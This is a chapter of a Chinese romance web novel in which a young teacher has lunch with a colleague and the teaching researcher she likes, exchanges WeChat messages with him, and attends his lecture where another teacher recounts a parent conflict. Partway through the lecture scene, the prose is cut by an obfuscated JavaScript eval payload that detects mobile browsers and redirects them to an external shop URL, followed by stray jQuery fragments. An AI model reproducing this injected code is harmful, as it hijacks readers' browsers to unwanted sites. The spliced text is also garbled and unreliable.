末了，那天的午餐终究变成了一场三人行。
薛之芳本想识趣开溜儿，却又实在有些问题需要请教。于是当三人在食堂落座，顾语谦自告奋勇去买三份套餐时，薛之芳趁机悄悄对姜悦琳说，
“等会儿我先请教顾老师几个问题，我保证问完就走，绝不耽误你俩……嗯，我懂的啦！我是断断不会做电灯泡的啦！”
姜悦琳讷讷地点头，又说，“其实……嗯……我和顾老师也不是那种关系……我们就是……”
薛之芳见她欲言又止，了然于心道，“我懂我懂，暧昧期嘛很正常，也很美好！其实之前顾老师在学校时，我就觉得你俩关系很好。而且不光是我，好几个老师都偷偷八卦过你们。不过顾老师每个学期都会换一所学校调研，所以大家也不管八卦太多。”
姜悦琳一愣，“什，什么？好几个老师都八卦过我们？”天呢天呢，她和他有这么明显吗？？？随即心又一沉——也对，顾语谦每个学期都换学校，未来的变数实在是太多了。
薛之芳抿嘴一笑，“不过你放心，大家也就私底下聊几句而已。毕竟顾老师是市里派来的，冯校长都很看重他呢，谁敢瞎议论。你俩的事儿嘛，放一百个心，我肯定不往外说，除非你自己公告天下。”
姜悦琳讷讷半天，只害羞地回复了一句，“嗯，谢谢。”
“不客气不客气。”薛之芳又是笑，眼睛亮晶晶的，“你们俩若是真修成正果了，那以后我请教顾老师，可就方便多啦！”说罢，还殷勤地给姜悦琳倒了杯茶水，惹得姜悦琳怪不好意思的。
两个女孩儿正聊着悄悄话，顾语谦回来了，“我买了三份套餐，稍后就会端过来。不好意思，让你们迁就我的时间，只能在校区食堂简单吃一些。你们刚才在聊什么，很开心的样子。”
姜悦琳还想拦一下薛之芳的嘴呢，但薛之芳倒是不忘初心的。正主一回来，她立刻就回归正题道，
“顾老师，其实我就是有几点教学设计上的问题想请教你。我们先聊这个吧，聊完我就走，套餐我可以打包带走，你们俩就可以慢慢谈了！”
闻言，顾语谦倒还从容地点了点头，而姜悦琳已经羞得把脸埋在手掌心里了。
………………
只可惜，这天中午，套餐才刚刚上桌，薛之芳还没请教完呢，顾语谦就被工作室的其他人喊走了——看来他是真的很忙。他走得匆匆，薛之芳还感慨地对姜悦琳说，
“早知道你们俩中午的时间这么宝贵，我就不该凑这个热闹。”
所幸和薛之芳共进午餐也十分愉快，备赛期的她虽然看着略显疲惫，年轻的一双大眼睛下居然也有了淡淡的黑眼圈，但她依旧生机勃勃，还给自己鼓劲儿，
“当然累啦。我告诉自己，熬过就好。到时候哪怕拿个入围奖，也算没白忙活。”
她说得朝气十足，姜悦琳忍不住给她倒了杯茶，“少吃点辣酱，保养嗓子很重要。”
她一饮而尽，还笑道，“等我拿奖，一定请你们吃饭！”
‘你们’两个字，她还特意加了重音呢
…………
午餐过后，两人告别，各自回家。坐在公交车上的姜悦琳忽而收到了顾语谦的微信。
他说，“今天中午临时有事儿，抱歉。”
她回复，“没关系，午餐还是你请的呢。我和薛老师吃得很开心。”
稍后，他又发来一句，“虽然你今天穿得很漂亮，但是明天不要忘记加一件外套。”
姜悦琳看着，嘴角上扬，却也忍不住心中揶揄——哼，“虽然但是”是一组转折关系的关联词，强调的是句子的后半段呢。他……他……他就不能强调一下句子的前半段吗？亏他还是教研员，连关联词都用不好。
她正胡思乱想着，他又发来一句，“虽然我明天中午可能依旧很忙，但是我还是想和你一起吃个饭。如何？”
啊呀呀，姜悦琳已然笑得不能自已——好吧，他这个教研员，关联词果然还是用得挺溜儿的呢。
于是不假思索地，她回复一句，“好，明天见。”
…………………………
隔天早上，姜悦琳虽然没有迟到，但依旧到得匆匆忙忙。
临出门前，她又又又对自己的穿搭产生了质疑，换了衣服，甚至还补了妆容——毕竟，她总觉得今天讲座的主题里会有她，她甚至担心自己会不会被临时叫上台，可不得穿得端庄一些呢！
所幸今天，她坐到了靠中间的位置，虽然不冷，但她依旧披了件西装外套。顾语谦大步上台时，她还小小紧张了一番；当顾语谦开启主题——新教师的困惑与困境时，她一边仔细听，还一边偷偷掏出随身镜查看了下自己的口红。
然而，今天的主人公却不是她。
姜悦琳认真听了半晌才确认，今天讲座中提到的那位新教师，竟就是昨天上台交流的育英小学林嘉嘉。而林嘉嘉很快也被邀请上台了，姜悦琳这才第一次仔细端详她的模样——
一头短发清爽利落，黑色大框眼镜显得她稚嫩的脸庞越发可爱，个子也娇娇小小，但接过话筒的气质却十分干练。
“顾老师刚才说了不少理论知识，其中提到的案例便是我。我不禁也回想起不少刚入职时的事儿，有那么几个时刻，真觉得天都要塌了。”
“的确。”一旁的顾语谦点了点头——当时林嘉嘉崩溃的模样，他身为观察员，应该也尽收眼底了吧。
林嘉嘉扭头瞥了他一眼，随即露出一抹意味深长的笑容，也学着他的口气说了一句，“的确。”
两人之间似是弥漫着一种默契，那句‘的确
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17912872|213201||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
’里应该藏着他俩曾经共同的回忆吧。姜悦琳凝神望着台上，心底暗流涌动。她这才真切地体会到顾语谦一学期换一所学校意味着什么。
这是不是意味着，她自以为与他之间那些奇特的，微妙的相处瞬间，那些他帮她屡屡解围，悉心教导她，帮助她的瞬间……其实他每个学期，都会和不同的年轻女老师经历一遍？兴许，她对他来说，从来都不是什么特别的存在，只是他茫茫资料库里的一个文件夹。
姜悦琳的思绪飞得很远很远，但又硬生生拉回来，专注地听林嘉嘉的交流。因为她很想听听林嘉嘉的故事。
林嘉嘉侃侃而谈，“顾老师来旁听我的那一年，是我入职的第一年。有一次，班上的一个小女孩画了一张爱心小卡片给我，我很开心，却也要教育一番。因为她是在上课时间偷偷画的。于是我和她拉钩约定，等她改正上课开小差的毛病，我再收下卡片。那张爱心卡我先放在了教室的图书角那儿。后来，值日生整理图书时，卡片不小心掉在了地上，几个男生在教室里跑来跑去，卡片被踩上了好几个鞋印，还差点儿被值日生丢进垃圾桶。好在我及时看见，又收起来了。但，小女孩儿也看见了这一幕。那天放学时，我刚解散队伍，小女孩儿就扑进爸爸怀里就开始嚎啕大哭……”
林嘉嘉说着，失神片刻，仿佛眼前正浮现出当初的一幕幕。过了一会儿才继续道，“女孩儿把事情告诉了爸爸，她爸爸就一把拽住我，说我欺负她女儿。还说卡片脏了，就是我在践踏她女儿的一片心意，他必须为女儿讨个说法，好好地让我这个不知天高地厚的小老师吃个教训。”
林嘉嘉的话音落下，会场的各个角落都此起彼伏地传来各种细碎的交流声，似乎不少年轻老师都遇到过类似的情况，也有过这般错愕又无助的时刻。
姜悦琳也有过。她想起杜晓美爸爸报警的那次，然后，又不禁想起那时始终陪伴着自己的顾语谦。
所以，顾语谦也是那般陪伴过林嘉嘉，帮助过林嘉嘉的吗？
她忍不住轻声叹气，不愿再往下细想了。
而台上，林嘉嘉讲到这儿，中场休息的报时响起。她就扭头看了看顾语谦，“那么，我先说到这里吧，下午再继续交流我后续的处理与沟通。其实时过境迁，很多当时的细节我也记不清楚了，但当时我心里那种‘天塌了’的感觉，倒还是历历在目的。”
“的确。当时林老师的表情，的确是‘天塌了’一般。”顾语谦接话。
“对啊，当时顾老师恰好就在附近。也欢迎你下午为我补充些细节。”
“当然！”
说着，两人对视一眼。林嘉嘉又笑了笑，依旧是那抹意味深长的笑容。片刻后，她收回自己的目光，
“那么各位老师们，我们下午见。”
………………